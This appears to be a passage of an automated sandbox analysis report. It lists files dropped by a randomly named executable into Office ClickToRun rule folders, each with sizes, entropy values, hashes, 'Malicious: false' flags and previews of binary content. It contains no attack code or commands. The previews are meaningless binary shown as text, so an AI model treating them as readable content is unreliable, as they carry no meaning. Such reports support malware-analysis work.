SHA-512:	0AE80EE41025347AF4026B9C0DB3A398F1B2C34AAEBC6139B493BD1B710B51FD03B056B6BC510EE0E0BBCB7F903E78A2A86ECCE9CB435B8E6BBC997E8CC65441
Malicious:	false
Preview:	<?xmlt....x..P0.fi.s.\|TVS\|kD..@...c.Pj.5..S..h..L..\|...^)..OX......u.T..EI.!.Lb\t....Z ......P...+p...6.Kb5..B.rUE...d.......B....X.:..Y..Tf..WZ.Y.\|.`c..g..<.;...{y.........#B..."D..#.7.H....-....@.p.@..Z..39............B...D...A.....R..i.N.z<...%._VP~....8B.8U.n.f.....i....2........u..5b..S.V]..h...l>...6...9..e.....{<.N.Zu3).+.'q.^wD&$a....=..!9..p..jK...[J...g_.........~g.xA....l.S.7K..K,Z..T%y.(9...h....$...a.>......_..]..rU..z_..cZ8....C.!.....7.Y..X.`...,...D.;.E{m\.#m'N....L...\y.pd..y.u=.."o.>...$........}.n..3...>......o\|<m...K.08...f..NXh.....y..x.......[.{y.iTO;&....S;%....h.........(.~.......{..xf.R...F.eMH>.>.V.yX.03..yn.p.r..FHS..{.b\|........c....).1...YE...4.......~..).....e...~C.c.(-...(!...@..`.....1.....Q.I.r..t1.6..%.t.t...c..o.NGI.,..<.S.r/r+-....._xG#....t..a..u.V.^...'.v2L...'.a7.n,`.............%l...%..U.q.6S.0\b=..C......$.....N..C....[.w.:.&.g...6. .,.I..Ak ..bK&a.= x..b<l.YR.u..BR...l./.9F`W...5.}.%....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10627v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2113
Entropy (8bit):	7.926822932304938
Encrypted:	false
SSDEEP:	48:RzaM6qlORYPuL4GKjyzLn6zJixQFaDpxW/gxZRU4Z0Mm9z7tmC8DPmD:R2HY2kjyXnCixoixWIx3U4ZDmRmC87+
MD5:	DB24EDEDE48ED0F48030CD507B9CA3AB
SHA1:	EEE7E41BC950DC80853C36225A5EBE47E01068BB
SHA-256:	617A693D6BD939D3AE2D4F95ACEF0416584DBF40AE44775B9DFFF2AF6705876E
SHA-512:	180018407229FC72262B7EF84FBE21046DE46202314F986E4E375D3959D8E0D69B9572367CCB8DDA60C79B506ADC560223C55E3B5999E58B49FC15277E92AC53
Malicious:	false
Preview:	<?xmla.....>.b.h$\|..i..r..2.....,..._D{...KOP.si....:.r$.a.[..kq.Lm.5.<...h....B...k;.+.G.....p......S.....?.%..H.-L....8...-..-.MZo8..~....P.N.........\..P..%..`..\.t...<........-....Nq.....I]...tM.q..:rP...;..@_....".J.I...1....Z.....%%........XzJ...r..y9).]=...n......r...CHe...k....ql..xjr.xCknEIG ..>.....V3qt/t4.G=X..3.E..< )-......sw.r..........d.}....A.7.......T.a..`...+.5.>(/)J.0.!.M.F~...%\|.....v.....1.uw......5......L. ..M.A.1..P.....I...o..K2.!b.f#..X..[3."%.......-.D.e....?..._....c....D....:;zF...Z.....Z..$8`.I.5...x.p_..e....}6...cuK/.17..x....-W.Lz.....g...N....N....6N....y.......`I<.~3M..22.*I#7....W.A/.....B}XB.Vx.Z!)Q.SD....<...R.).. ..t.....&..0.E./.,~..@A....@d..T..Ps.P...z..g.;@.h.)..\.#J.....k....nX7.0=,zZ\|.u....D...r...1...r......]..^.".Yt....C..y4.Q.......n;`..d..O.VSP....h.f...%..D..%.rcg.P@k+....=.....!.J...-.={.Fb?..z.z.p......'..H.+R.....c.....{......4Z..!i.../.9.<.....K/...#..+..Gp"/\...+ .=.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10781v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	813
Entropy (8bit):	7.711422456813732
Encrypted:	false
SSDEEP:	24:McNJOZJVQRzlc8yeh2bQ3yAXR7ax31upKCtZ4vfsbD:XMnHewbQhXR7s3uPtuXmD
MD5:	47C3C3CF99A8CFD73E32F77C933A2F40
SHA1:	EEAA1BB78917370BECE68D024868DA24A39ECEFB
SHA-256:	C45A5752AA7F811A774E3910C2A2B848B22E12376A842FD90F1CEA41CDE5003C
SHA-512:	B49289235C0DD744E428519B6B93E93C08F1A3D260154592B4A84F5E932FC7771C801331887A4EBEFEFDA01AB72DEB64CE4B0F6AE9BA51234FDC666E240229D8
Malicious:	false
Preview:	<?xml......z\..cz.+..i.N.j.M......y....jV.aCAw.P...(.C.oP..k....v....7L.."...].W...]..N..0.5l].`...zK.j.(...x.hH;;2.........<..];\>.,.+=..e-.?u.V.i.tP0..S..u.H..w.{.D..`W.8..O...B..W...zx..+........>.C>.r.....E....U....#.j.y.......P...`...[...T..:..."...h..\..ADMR.....1V......8.F^;q.Y~.?.....4....ENg..{f....."=.B.+..uL.....U.. ..Xd.y.Tk.../....?]...T..W7....X..x.4...K..v.....N.4h.s.T...&.hi-.)H..G.`......A..\|...>................G.Ha...........1.p...2..w....g....D....l..Gb...l\|..3..4}.........F.>..F.a....jT...C.fl\xI..Nq.....&6.u...z.......<..,7.jE.}....Sr..b.....Nv.....6...r....E....{.......@)..l ..S.....x[t.<=.l.`t8.d..1c.^.&..$.!.Db.......Fc._>B..o...X..y.....-.....Nu{....>[A..8q>&c0?8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10784v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	2070
Entropy (8bit):	7.9075526850858475
Encrypted:	false
SSDEEP:	48:qUCDWnqxqZVdWEW7h6O5SMpR+CyOCfT+HyDGLv4kH8RcfmD:q3DWnQSSXSMajOCCHQGDjH+cf+
MD5:	739A24B4C67AAEE1CD2A8516E05EA468
SHA1:	BBD1A1C87015DD7975E95CFC80EC4910292F22CF
SHA-256:	B1C4FFC9981D5F19476836D512F84C096FADD4A9905065EA26D5E28AFC59BAE2
SHA-512:	781E82399D26E7754263493929FD7E8A4C170A436D52F231776B2236C7C451BC22882762778C82CCDD55391DFD0748BD2118CADBE471BCFF78B3C6AFE48D8C6A
Malicious:	false
Preview:	<?xmlB..k.}?%i1.T. ..o(..K.....x.'..u.%BIM..AS.......7.....!.7.#.S$<.ja.WP6..ss>>yIK:P..3]Zx..a&..s...N.1....f.j..K..3..L..T....\|uC.nF..]=.s.sV.-.....yxdoN...DI.%.2..).`....z%..c...A.c.MA.N./..v....KLbzU..G.........H..=....\tM"$..<.).M........4..6M.&eR...w.....q.r5..Fo....P.7..z.f..l......ib........].I...K.....h.=T....3.\....i..PV....A.Y..r...h'....}.X.`a.]-...Z...(...5 ..xkh..X..#..b.>...E...RJ.Za@u;.d.0.z(...uF0y....viTU...!..4><s..a.Z{.<.(.?......T.P.2......3..+j.....3....Z......r..Jk.....U.`....].......\|.!zo\|...[..,rY.Z.E..yI..6.A.{BK.1S-.Q.o.cc..8..!.zuX.]......)YV?^..w......?.c. ...sz...w.........^.......g1BaZ....... .chH.R.Ek.M.....l...+"/..c. .Bu.5X.....z.8.0u../w..\|Ak.).$......j..? .-{.+.N.H.X.U.T.=w......;.TY_v.....+.........]...."%......F...VC.D...u..2..e.g.`.\.....ya0.8.K\.&;..H<.Q...Vb'......Z.!..Y..q..7....I$j..\...Nf330...G%.7.....l.<.Md.:.r..D..t.J}R.!.........at..U..>..q].b.....4P..j#Z.=..[.9..-V..^..!...c....w..)w

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10800v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	789
Entropy (8bit):	7.7032193648808205
Encrypted:	false
SSDEEP:	12:YhzM8pNqdSGKrQ22g7SZEOIsZ95TVkVhxleyeGXPNj/zOZ0R6olBtVUQscii9a:YhzZmShF3G++pVQhzbXPNjqZmXtHsbD
MD5:	88D2A18B7636002DDBF52404BF0705CD
SHA1:	7A70D3DD530EDDE6F9B8023E31B0536E53EFB753
SHA-256:	BE9C1A430271D15F37093384C62BB09C793B79CCD8C63757B4820BAC2DF32235
SHA-512:	5F11BA641BE4B909885224630847AA11A47E95F0F4B0D69D48A69A2B2FEE99F0757F936393CA94006B835BD729931DB11465D2041B390EC5C2BC04B1C6F6E10E
Malicious:	false
Preview:	<?xml%.......>.\.#..I..S..xu..."w..{....r...h.f.1!,..>%...=x..1.R......n......@.Wno...e.Z\|.u..G....z0.F(.......,...;.Ng.>..v...,..@y'W..\|N.W...DX......G.....Z....f..#.N.j..e...N.=.......}...j\t!.`j.7......f.(..{<..qXD.....d.(...g2Z...Y.7O....h&+.p.H..,.f6ea..}.9..B\|;3...z.]..}r...'g'Q...5..C...x...`U%a....x...-'...l..... .qA....i(<.~.{k.4..C...S...ycV..h.6..l.C...1....=.e..;.MYt.dX.i..._...)C....Uo.....3)..]o2'#es.O...A......`.7.@.."R.......=]..D>@Q....(:.PM.R...f...0\|........2.......l......f.A.'..I......lQ7.8..a..W...@.A.q..A.`4)PW.Y...O..._W.....m.b.'...&C_.>........0.%.+.L..5...^.6X@..a.0.....H....".-.A2.6.).2..E..zwS~../.B..=....q..H.oy...g...._J..q..C.p#.8..V.. 0om.7..t.r8Dvoqx3bvfv1GNOXwQLrS9NhK8A5BueudpVlCvCw{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10801v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.934476428839528
Encrypted:	false
SSDEEP:	48:3PYf8wAxupR+xysPJuZg7W9Wuk8yrgPVo1nofgpQsiItrl/to24QGy2qfifmD:3K8HxupReysPIa7l8yrgPV6n3ef45t15
MD5:	18FC7C48216E1A5AC03ED947F67DDA51
SHA1:	2C14281244BF5D70101F607E7F3C5B5AB8E767C5
SHA-256:	AE8F1DACE79E752116000481ABEC72A48D05BBB4F376022D77E2E468E7850D5F
SHA-512:	95961BCE6C99CFF609250725E13D86930D5915FF30D953DEF93357EB7896701726A82D56CD1654C16C7678D369B042BC60013635AE045791459C06A408B471E5
Malicious:	false
Preview:	<?xml3\Sm..MD...J.....Z.D..7.I...3b_..pY=E.N..[...XJ..T.......@W.TKA.j......{.8.C.c.sk...I...1.GY=.\|. ......3@.......w..G{h0..)^...>K.eq\|..!.(.MDm..a.Z.pi..D.S...@D..=....YM}L7.z8.q..Y;>8...L..(D..1~..P..JI.k].....@4.:.t4C!.L&......t..<...?.b...U.^....\8.'=.v....V..S.......yR(.&,.y&..dW.T.g..bh......N:...{....j...8j....)....G...DiU.lF..;...\B.D....7..q..A-w.....6.7.....4....)..A.WS...`q.A...zh.D...&r+.....~Sl.y.T.....^.w..U9..81.sF......y.ZC4...5...G.\|Ns......Y.......w.+...G..7.]..L..I8x.9o.lP..t...T.\|..&.n........S.........]./.....5.k.n.n.Y...K......{..2.....I.5.u+9.xMB.E.......}.S:(GBTJ..-'G...ZJ^......3.eG......oJpU5?x..6..........S...[.!..%....\........'.k.B.......I.`.~..K.\.g...V.....8..c.S..}..Y..........x...........$.].m._...?..%..(.).D...\.a..x.3.!F......v>...^.H..-..'dL....%.i....q..n=.5.x.zL@.........7.U.).cT.m.....&.v...xT......F.fFYpW....=E.X.g..A.%..'...."........Z...../..&<...?J..x@..(.n:....5...l....S..*.J.d..A....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10802v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	3017
Entropy (8bit):	7.936978479526682
Encrypted:	false
SSDEEP:	48:lujsxjXgpM6/zkbSQrOQEh4JJVne4F3VhWCdeHj/HQxZVMivDFcRWKBFpXa/BLVW:P8pM6/gW9Qe4JJXglQxZVXmRjFpE9+
MD5:	07384D43EC51266F597CA8CCD68071D8
SHA1:	43334056AFDCE5CE8A0ABFDEB81DEC51CD6BB2C8
SHA-256:	86D22BE6AA5E2411B0C58B1232B24A820CE8A84D3EE5A9B6987D9236A85064AC
SHA-512:	91620A242F71E2D5BF701662B16ACC02B74FDD9AED121A8C0BC3986C41A811457921636264D47FDD2D7FCA26490AECF59644959FB61275C16766BA005B724F32
Malicious:	false
Preview:	<?xml.ip..2...4@z?.^.Li....~.......{s.oN......r.pT...\.E...`.x.z..k.tG.....`....H..9>H .(..4..RvS...I...n[Q.H._..ga.j/#.r...8....O...).....t.Lwt.........yj.:.BW......>..[cr...].o.M.E..\|...g.N..t.....Z.....L.......+..../x^8....) ........\|.."....-x0.(......!n{..."k.qB...1!{.....a7.q........-Nl.......f...K.xZ...{Z.eA..4..r..2.M.l..N>.G.&.....4.}J.;v.g.1....F.S.....G....z>.2t.Q.tO../....N....9j9..I.[\gG...'E......#h...n.[Gjl...=...m..........ed.e.\......An.J')O...<.r-..U..c.'....z.c..qF.C.\|..a.. ._y..0k;.. a..3&tp...+V].KKDh....<~.L..D.e.;0...,a.8.R)....C.'....f..'{.......0.q..."&..H....}...B....7.zA.B../.s.m..-....l..6..r....k..v..1;.I-T.f......2......S.....&.'z.........}.4.%...f...Z.8....P..........)...-.@..(.F.C.lvZ...E....=m.!...ro_..\.+.z.r.n....\|#......(.5.QG@v0.Z5..la........z... ..{QmH.$.j.:.g.ox......{f.`.}..rn.<....%;dY...]...:..*...uu~.=Ch.x.G.=..^9z....L........:sy..a....a......g.8a2n.?.....x...r...D.......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10803v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4639
Entropy (8bit):	7.965426722652499
Encrypted:	false
SSDEEP:	96:YxF+vGHG8SqvoOXVddG+y9qYtGeO/hAa5ReDvMrx+:YxFQEvoUVddG+yYXreO+
MD5:	CC124839AC12913D833581BDA17F0DE3
SHA1:	F43547B8E61ED190E5CDFAEF80F08A4C036C84F5
SHA-256:	62C5341CB628CC003C6BFA82CBE71F150556CA35CC3854FD64E802D0A3D12039
SHA-512:	D599F8769CF9B4FF19F3DC7308AD21FD1BD5D18DE56C4A7FFFC334D80A3BC273E0FA0B0F74107B620D839130C7124C9747CD56B9CEA079A02D0719421F9430B7
Malicious:	false
Preview:	<?xml%.6....Q.+....+...5^%..AH.8....2s..H.j.9\2.ofe..S[....F.....W.5E....~....I.~pXL.t,.#.\|.n.{VMo>0.Z..2..}g.U......V.c..j....5..!."..S6..{..9V C.h.@...y.....XT.....E..V.\......._.a.2...H~f.1b$P.....1.OZ....Y......c..H.....&. .......nwA[b^...p;..s(.V.(..h....O.i...>x..].A.....z:..x.8..?UY.`1b.Cl.A+......`.l...b..2.....F%..4..1...P....$.Tq..M.?...3K.&O..._. .j-.=.....;mG.4.A.Y.g.......l..H..'...r!.{.3........1...Lp.dl...m.'...^.#..+..1}.....\..U..Az^..ea..b.....-..Pn.,...y6...-...d6'..q..s..e,<.G..C.t. .\|...8Y9l...W(.j.....-..7.V.a..)z.?...Y>\.......Z....z.-..MtC.D.........!.x..w.F...~n..n.8.u..?<....O.FH..@G......t..y.Z...jU...'8....o.>..%K$..S.....?.^.%...&..={....0..t.......A...\|.A.7....IiIj.#.1.@...?L}.u.$.":L...v"}......!K.c.R[..}(A...E..1.\|...l.X....u.F.M.8....>..}..@.m.kQ..=.u.5M5`k......U.p..t.....s..I.F8..]..I.O@.6rX..E.+....MC.....D..k..EQ..p.G....N.F.SY..I..jNs.u.O..o.Y<..:.......;..PBN........X}*......e..!"}.LR.b..r@

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10807v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1329
Entropy (8bit):	7.8515778907046405
Encrypted:	false
SSDEEP:	24:Q6/+4hcFGMTqU/TBJNBNWzUElEv0S6y3XrAP1+DH0n38VkL/HO8b78XEcdCg5ysX:e4hcFGMuU/TBJwzplEvlMP1S0Mk/eEsd
MD5:	ED3D76F9D3F29A45F916F0A6FABB0627
SHA1:	7676336EFCCFFD87E4099165695BA4D30ABE449F
SHA-256:	567A068212A6BA20CD65B1BDDF8190E3A38206A29FB247B7EB4B2B5A4C950EE3
SHA-512:	19B5030041AA8C08BFEAE961B61BB84CC0FCF5C88C2E2FD7B00DFBD39122CC9D47E8680A1EDF55C2396F0AADE55488AE1F3039923E61CE14EC03919799430F88
Malicious:	false
Preview:	<?xml.,.}...S./....Sk0..)."z-A.x.J0c.m.=R.\.hP...;l....2s.P.^.xL..\|$....k3..\|..}U...-.....2..?...,{;...j..l..e.5...l+............b^k..0.&qP...Q#.i.{..}$..f.lV?....]#...%.....)...q.@r;A.../..l?.O....>`.j$..v.o.....u.r...jDV....nw`e-......K..3:,..!...#-.}5cK27.D...(.y.n...}..(e.C.5>Ab....w...[.4R..Ul..A.=.;.({..y.......e..1../!.....2 ..E....T........6....K!p'.t..mj....nLQ......v..l..&.lU.\|vz^.h.7[q..'m....l..o....5x\.8{.2.".....j..#...L...Q....3..1..5=2.:..P..h..a..T.~..,.t.R^..c.+..m..;........o..]!dDW]..H...\|.....H....O.]...r..}.......-(q..._sNN..o..4G......p].d.l.:..)..v.....'=.......>..^.9.a]...8....b..D...A...F.G.V3..vdV.A....}./....j...h...h:....r ...s.&...g.D.8..@..<I...[)......J.... ...e.!h.....\|.4...h&../..g6....A..7Jw.LF..\|....}..'!.=..........d.4..N..PQ..v.J..\|@E.be..D.'N./.Y(...'.X..>W%.B.b@t....}......l...[.n.p;..Et.f.%.G.. f...$9lBK....z.....K.L.F.[.J...[g....gi~...E.......x..if'/R.*....'..$....G.1&o.].J..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10808v0.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1395
Entropy (8bit):	7.835796534936096
Encrypted:	false
SSDEEP:	24:p5SuD5DZEhXFgxPyWg/iQIInofM2p+DRVLrshZnYnmHPGZVASEdluPxK4NQbhAsX:dJq1gxPZg/o0oDpUV89+8SL5RvmD
MD5:	39FAB489B9D45DAA515577941BB49C51
SHA1:	01EB0C508EC90DE423366B04521FDE90CF452B1F
SHA-256:	53F1E0D52F2ED34C3C047CEAE5EF23339F84CE289A498BB8258A0D8DA4F56E51
SHA-512:	51D843BB9BC979FA65218FC830BC98FFC446AE73C23659BA9FC1ED82AD11DBB9E307B8505FC80554A6A033BC3497C7772F2B5A1A9FF427575DAA651860AFDBC4
Malicious:	false
Preview:	<?xml..G.(...f.F .ZSR.0..q:...1....H..:d.."'.$.fAS...xv.>...0.OE.PG.nb....S0..."L.<..x(c.... .q....0....t..NI...D"....Gin..:.~W...vI..m.r0.anX..v.p9...<.k....J........O...AN`Ib..&^....b<........P.J/.d.Q.E..N...).....c"i.....x<R..9.d...ka..9...c.......f..F.u.w....1YKa.5;..a..)X]?I,.G.....c.ES.....,.m.}.c.~!$.. .....Lc..=.....Mio.O.w....1N.N.6..QCz...Xu.... ......._.......k.+` ........Jp.Q.9i...I.iY`.\|+...\|.i..........J .......;...%..y......o...I..d.4.`.{..-5.[.Eb...Tz.......!w.r.;>.D.).<6M-.....6._HS...K.-cbu.zF..\...,g...Q.(..TvR..^.h26.....v....(...e.>y..!....w......X-.{..@..T..z....._.7.q4.....T....c.GW>.[(...Q.<.4Y.3..}..0......1q...?.N7..u........ P.........(I.........R.:6.[....U.......N. rLy.....B...9.8l5$w<..wL@...d.....x.J..&o.*..).fk....B)f.O......=..s... .................'.$.F.pAuL...\|.=)..d........C.z..1.....RC^=.s.!.S].&....u....u.Mu..[,.c6A ...Z#fo..@.k..;8&...E....%$Q..oS./..y~....g.q9.&..A....WUc.f..4....;z.Q.e

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10818v3.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	1124
Entropy (8bit):	7.85608804732996
Encrypted:	false
SSDEEP:	24:T6oEt295JVgv/AoVrT2Jn3Aq5viPUpujAzHeVpMShPjoU9DVVwCsbD:t9XkHVgnlpDYDhPjFwCmD
MD5:	8971B6D1DBDE89B285184D12FA06BA10
SHA1:	6B28B17F4D95AEAD88A56AF77BEC63A9FC73CABB
SHA-256:	052A12958FE2F57B7874274581A2ED973A127215E19FF3C6215855B00ADBC9DC
SHA-512:	83200E8985367CA35E84DF7DE7F089757486CAAFFBAD2A133D4C93A9B461BFC9C6D458BFEBA01706404A67C6AF64749ED33945001C0C3F6CBE219D7554ABCF7A
Malicious:	false
Preview:	<?xml.X. ....q....Y..I&9...t..hE.Rh..<.k4.2..2S...M..=[..g%\|bP.$..$...8.M...7s.L...U..jV.E.....t"5ow...}.~k..5PoK..P..q..%..%.}...........'.7.k.-.;Z.<.\|Y.5!...]sM..p...ef.F...m[=....}.z ......A...y\.g.B.M_..z....F.=.?.p..a(..KY..ZK..".d.uA....../..../&"#...Y../:mG...`a..^....jG..Txf.....#.Nj......T.a..g...B.l.m....$6v%8...>.+.@\|.....Po(.u9;%.\.\..........j...-.t.....:...5.Y....Q.{.[....m#.O:o..........6^.Zz.P.GO....4.9U.U.<9...e.dYS..<<t..K.)..C..&B.">o...............'\|....n>$............2.G..9....$U.7\|....2..)U6.z.W%XjDF..=.Wx3c..:6`?P.S."{...R[..x:...c.i....p.7.gE4......V...,..V.dV~].df.4Mm}.c.(.......N...J.i..........e..0...t..u.@y....+.(.N.n *......!d......f.^{.5.F."x..l..w.e.U.._.O......'.d..6._........i...%.u.f>..r.f.....<..~nz...x.........}).T..k...<..p..?.2....:.9..\..j.HB .....X_5..0D<..]..{.z...]...F}8\|...JT.......~..&..T-5..t....F..@.,V..u>{w:_....PX........R...).{V.M.v.<...(R...=...v= .....B.../...c..H...=...(..^.8....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10819v1.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	8769
Entropy (8bit):	7.981644334112917
Encrypted:	false
SSDEEP:	192:RnCqSa/lk5TeMLfMTurK1osaNNDg0f5gk8AdsSNPYQ/+:ZdygZxosat5gkvmSpYQm
MD5:	ACC0F9C3D212A0D8AA5D4CD0F559DEA1
SHA1:	8121293BFFCFF3A10666A5B1E8C23AC734210F81
SHA-256:	12C358A801729C9A899FC5140AD7273C8E987DA19ADF46D9F3FE67A41748F206
SHA-512:	6FB232F9790517658C8F24D749C8778D38CDE2205DD6C4208A16628BD4D17FECC2A922D35364237FF4A2D35A767AF3589241EB98C859967F8C8BDD713A0050FF
Malicious:	false
Preview:	<?xml;.....2.!D...T6..p......`..B...=(..u$(.'..u....j..Z6R(fD...e".J.IE......a]..qs.j.g..2.0ZU(..\/eq.Q..}..@4......TP.......8.5P/..%Ie,..[....9.A..g.{.&.1J9.t..\|.V\|...K.....L.M..J4}.N..m......k.G...wq..\...i..n....X.}5K.L[0.l.@$...`y........M..p<...L....V.(.K.a....Q)0.~J...v.gS.....~S..e..E."..x7 ...BMt..d.T....Lb.A.\|..;......3......og.g:....Xn...j>..`....q...[xF...{.q\..r5bS....A..R.:.w.D.rY........l..g.........C..AWI..P=.P.n.......D.zp..T9@...W...YC.=...t..Y......r<.0b...K. t.M.I2d. ..0..G...sY6b..8[..O.;...B=. ......I....Q.G.L>..J!T......G.....p....VF..1.=........yuik.>..=.lF.T.. .`.#...?.@.. J9..\|...<.N......-$=...l.}R-'...../`...5.....Q.0c...R.Hc..$......?...2.....'\.>^+.w.\|.....4bH.k.....=....s..Q....9...%..f'u..........33.0+u...!.)u.+....x..Z.5...]..X...]...+..&:...*......k"6...;.w.6Zg..w...8...k..H......y.].G%...H.....T%f..m.mZ5..u0q.@..&.+./1...o...........WS.XB..(...._....U..s..L.".t..a`.U...FMK"..0....G..DQ\].B.=.{...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10820v3.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	5842
Entropy (8bit):	7.96640565079391
Encrypted:	false
SSDEEP:	96:4wb9ESi6K6Yaew8Ca5ci1J1ubgLveUuI1NBtNlH7jbeQkDfQCUvBF3kj8/AsK78C:4wbySzdFTqsbQyI1NhF7jCfo55rK78Kx
MD5:	E33AA689CC34092A7824D87DB6AF1856
SHA1:	32A36033C213406530325A78B8DC72EF642EE7E9
SHA-256:	EF84A2BC345660364670F70644405D123D3BC614C788DE57A65E6C85353E3D60
SHA-512:	E3450B9422F333E3D6DFDD77D955D6A0525B385D92F8209B0A0DD414B231CB684F140E4005F8A8D67CBBC11DB8E161F712EC19BD553735C34F1EFB97BF1D437C
Malicious:	false
Preview:	<?xml.$m3v.<y..Iam........E...ycka?.g.3l...<..Sx...M`m.._..:.T....5..o.0.~..[...y..t.py..=H1.V.,.K..OXCU....+2m1.x.\}:rp....W..m.......(.U..w-[IJ.m........e.....(H..o.'...B.......@;.zx...#..h......B...>V}%.:...r.N....L(.g.R...Yvatf...$.j...y!....)..a..a+.........q6.._}\|.h......K!3...X....H..`..c...p....`$.,..^..\....[.........D.+.>u.'!....Cd..}......tW..(M...T...q$S@.1B.5E..7F.{D..@%....6\|....t..m. ..z..... G..C.3\eD.....G..XV.b..b..x.h..9..PJ..y.6N.9..'.I.}w..j..cB...h;..l..Hd..[.@.q.M..uw... ...{a..4Ov.....IZy3 ].i...T...#S..w.......Kq.6..x'...b..kiy_.~..j.G..6.B.....WGt.4/{w...L...=`.5..?H..h....?...j..NC.....p.yJ.....^/.......PqZ....$8...X .......=b.7..%....=.,..7..g..@S..($.[..1.H..;.......4..%+..2@...{..a....~..$...g...e?.cEa/.(VI.`C1UD...u.(i.N.;.,......Xx..T.^.....h....J)8X,....bv5..<C..........H..b.....;......j..s...6....4l....'..]..J`G..a9R.0..X.p.O*..Q..TI.W...H.a...Nb$.E.=lw....k...W..c.9$.74f1ZBz.G\|.e.jv..]#.4.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10821v3.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4787
Entropy (8bit):	7.9638628807678815
Encrypted:	false
SSDEEP:	96:CFkNak2HLET2k10XW/fm2TSkLJ4nGtTP9eTq96fSxF7NpC8+:5ak2rET2pEfm2TNLJeGtTP9eeiSxF7ne
MD5:	403EE926B80EC10E66992F7428CCCA11
SHA1:	BA60E200250A9F3CC8091C22536A0B4CA6E263F2
SHA-256:	39F47B3FD6AAC4AA5E394216F89F35ED77ED8D220BDEDDC4985DE3A4629F7A6C
SHA-512:	5CCEC68D53FE1C8EC3487B36EE9DAEAA8FCC21007ED6A2D9D57E3A2654822AA067D64D77B2A9B53B644FAF50952C1312A34F6A7B94F1D81DBCAD2CFBA511EB20
Malicious:	false
Preview:	<?xml.... ...po{..n:E..].S.h..#a...9......./.2.x.8?..... .)....R.`0...U...]...m.Y....pUC......F.$3.(0......J]-7...%>`=\|.f).Yh1...HA."...\p6..........iI..i.ay.n.\,.@....V.x...cLy(N...!..m.....@...g....3.....j..BO@/...r...u...z.S.......Q.h.......<.....D..HXq..].H.NS..N@.\|3..H..b.In..`VaK..`....]V~.v.X.....D)..n.3R...n..p.bu.".AKtMx..4../.1.+.....?.9...QH..L.R.]b.V.@..........@.3..&..i..rm.....P\|.iz...^(.L...k.T../`.P..F.<.....i.f.)..:7U=...8.F..6Ms...m`......n^.../...bsn...4N.....!3..HsO..e...`.....u.C<.'(......3Wc..0.j-....s....P..x#.....(..7...r....1..k.`.1..I.....q....9...M...Jlj..Uy..+5L..sYP...Q.T.#.N.v......n....@..[....q..X..........%\.....S.............YN<M..q....c...2?.c..L....={..vaa......9HD\|%...}y....#x/m[2^iSv..z.S{t.m..xH8...hc6.4B.C..[.w..x..M.....w.ffb9.P..[..E9l,.."..\|..G.8.@...c.......I.X.Vv.......m..._....)....U.......h{....ex...{...H....q..b....R.D1.2]O..+..sX....`.,.tl......ZR....p.[.<vc..?V}......U....b..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officeclicktorun.exe_Rules\rule10822v2.xml

Download File

Process:	C:\Users\user\Desktop\Z4CYGTBlj7.exe
File Type:	data
Category:	dropped
Size (bytes):	4786
Entropy (8bit):	7.96147335697311
Encrypted:	false
SSDEEP:	96:Q/Ie6WxfiNXcjEH2mXW65Uf7J7pT9bpo1SMJdODjdgqkf6pm8EhRsG+:II9+MsjEH2F6K7rLo1SMJ4jpm/GG+
MD5:	99BCB39B442887681381F42B0EA44EAC
SHA1:	48E9068A8DDEFC13F1076B6941AF8B82F149BC18
SHA-256:	5610A2458DBFCF8E89DA885469B9FD57FBD461C1D78E61EA0F7FCFC67DF21483
SHA-512:	FC2CCA31CB1A8D38BEEEACEDD96F1D210006E068AA84FEDF8317B3055E397C9B453CF45CB1739FD316DDB69A544847F997B7B3D265CE51B6D11E52EB0FA4AC1A
Malicious:	false
